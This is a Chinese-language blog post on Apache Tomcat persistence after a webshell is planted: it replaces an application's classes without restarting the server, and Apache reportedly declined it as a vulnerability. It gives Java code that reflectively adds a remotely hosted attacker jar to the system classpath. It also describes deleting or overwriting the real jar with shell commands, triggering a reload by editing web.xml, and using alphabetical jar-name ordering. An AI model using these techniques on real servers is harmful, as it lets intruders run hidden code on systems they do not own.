此篇文章中的内容已经报告给Apache,他们的回复如下:
This report does notdescribe a security vulnerability in Apache Tomcat.
The Apache Tomcat SecurityTeam will be taking no further action
regarding this report.
好了,开始正文。
搞Java的应该都知道,如果能黑到一台机器上,可以用自己编译好的文件覆盖本地的jar或者classes,等服务器重启的时候就可以远程访问自己的代码,甚至是更改程序逻辑来做各种事情。但要等服务器重启这个要求有点不好控制。目前有些把程序部署在云上的公司已经做到定期重启机器,每次重启都是一次全新的部署,所以覆盖将直接无效。其次如果做了jar包签名,那覆盖jar也是不行的。甚至安全做得好一点的机器,上传jar或者可以文件都会有记录或者被发现。
最近突发奇想,做了些小研究,发现了几个可以在有webshell的前提下不上传任何文件,不重启tomcat(默认配置)就能覆盖本地代码的方法,大家切不要拿来做坏事哦。
写了两个很简单的POC项目,web项目架构图如下:
正常功能很简单,就是一个servlet,输出jar包里的类返回的字符串:
protectedvoid doGet(HttpServletRequest request, HttpServletResponse response) throwsServletException, IOException {
MyNamename = new MyName();
response.getWriter().println(name.getName());
}
jar包项目里的类:
public class MyName {
publicString getName()
{
return"Jack";
}
}
Lib里另外的那个tomcat-api.jar可以是任何文件,这里我随手复制进去的,稍后有用。
然后把“Jack”改成其他字符串,这里我改成 “a hacker”生成了一个ahacker.jar,以及改成”Lisa”生成一个raal.jar,之后会用。我们的目标就是远程用ahacker.jar覆盖real.jar。
好了,开始简单讲下思路。其实很简单,我发现通过Java代码可以添加jar到系统类路径,并且只要不重启服务器,这个修改都是存在的,那么接下来就是让服务器重新加载一遍jar包就行。按照Tomcat加载jar包的优先级,在系统类路径里的jar包应该优先被加载,而如果有相同的类存在,tomcat只会用第一个被加载的类,也就是说它会用我们放到类路径里的jar包里的类。
第一个问题,如何在runtime修改类路径,这个的代码到处都是,比如:
>https://stackoverflow.com/questions/1010919/adding-files-to-java-classpath-at-runtime
第二个问题:如何让tomcat重新加载一遍项目jar包,默认配置下是没有热部署的,但在tomcat的context.xml中我们可以看到:
><WatchedResource>WEB-INF/web.xml</WatchedResource>
也就是默认情况下tomcat是监控所有web.xml的变化的,如果这个文件有变化就会重新加载项目。
第三个问题:如果还要上传jar到目标服务器的话,会增加被发现的几率,我找到了一个可以远程把jar包放进类路径的办法。参见以下代码(包括修改类路径):
try {
URIuri = new URI("http://192.168.128.71:8080/ahacker.jar");
URLClassLoaderclassLoader = (URLClassLoader) ClassLoader
.getSystemClassLoader();
Methodadd = URLClassLoader.class.getDeclaredMethod("addURL",
newClass[] { URL.class });
add.setAccessible(true);
add.invoke(classLoader,uri.toURL());
}catch (Exception exp) {
exp.printStackTrace();
}
ClassLoadercl = ClassLoader.getSystemClassLoader();
URL[]urls = ((URLClassLoader) cl).getURLs();
for(URL url : urls) {
out.println(url.getFile());
}
修改web.xml的代码就不放了哈。。。文件操作而已。
效果图也不放了哈。。就是第一次访问servlet的时候看到Jack,访问webshell后等10几秒再访问servlet就变成a hacker了。忘记说一点,在访问webshell之前要先访问一下正常的servlet。如果运行起来后直接访问webshell,修改类路径然后重新加载似乎整个项目会卡住(dos?),下面的方法同样要这么做。
不过以上这个思路我只在tomcat 7.0.41和以下的版本实验成功了,7.0.5之后的版本怎么搞都没成功,似乎Apache把tomcat类加载机制修改了一些。猜测可能是重新加载的时候优先加载项目lib下的jar。。系统类路径里的不计再重新加载(似乎有点没道理,我没深究,麻烦知道的告知一声)。
但,放弃么?当然不啊。
我又开始寻找其他可能性,最后终于让我找到了一个类似的方案,在最新的tomcat 9.0.0 m26中都可行。只是要多些操作。
第一步操作不变,远程加载jar然后放到系统类路径。
第二步,用本地其他任何一个文件覆盖real.jar,担心签名的话用其他签名jar应该可行。不要通过java IO,尝试了下似乎无法成功删除和修改jar。但既然有webshell就可以运行命令嘛,del /Y,copy /Y啥的搞起。目的就是让目标类中不存在原本的类,当tomcat重新加载后绊脚石当然也不存在了。
第三步,修改web.xml触发重新加载。
第四步,等重新加载结束后,大概10-20秒,访问servlet就会看到a hacker。
我后来还试了复原real.jar,其实就是copy real.jar到别的地方,然后覆盖real.jar,最后复原real.jar。这么做的过程需要注意在复原rea.jar的之前,要先访问一下servlet。这也才是这个攻击的重点,即便tomca已经在我们修改类路径后似乎也优先加载项目lib下的jar,我们只要让jar里面的类不存在了,tomcat就会重新找到我们放在系统类路径里的jar,并用里面的类。复原后的jar不会构成影响,因为该加载的类已经加载完了嘛。PS:恢复real.jar之前你可以让JSP线程睡个半分钟,估摸着重新加载结束后,去访问一下覆盖过的代码就行。
对了,在tomcat 9中远程加载jar不再能用URI,但Java的URL本身就支持jar协议。。代码如下:
try {
URLuri = new URL("jar:http://192.168.128.71:8080/ahacker.jar!/");
URLClassLoaderclassLoader = (URLClassLoader) ClassLoader
.getSystemClassLoader();
Methodadd = URLClassLoader.class.getDeclaredMethod("addURL",
newClass[] { URL.class });
add.setAccessible(true);
add.invoke(classLoader,uri);
}catch (Exception exp) {
exp.printStackTrace();
}
以上讲的方法应该是没办法通过jar包签名防的。其实,还有另一个全版本通用的方法,只不过这个方法需要你上传一个jar,如果没有做jar包签名检查的话,这个更好用一些。。
之前讲过,有相同类的话,tomcat会用第一个加载的,我们现在已经能通过修改web.xml来触发重新加载了,那么只需要让tomcat优先加载我们上传的jar就行了。
经我测试。。tomcat加载jar的顺序是根据名称字母排序。。。还记得我开头提到的那个raal.jar么。。你是不是明白了啥?
POC代码不放了哈,思路并不复杂。感兴趣的话大家可以从最后那个方法开始试。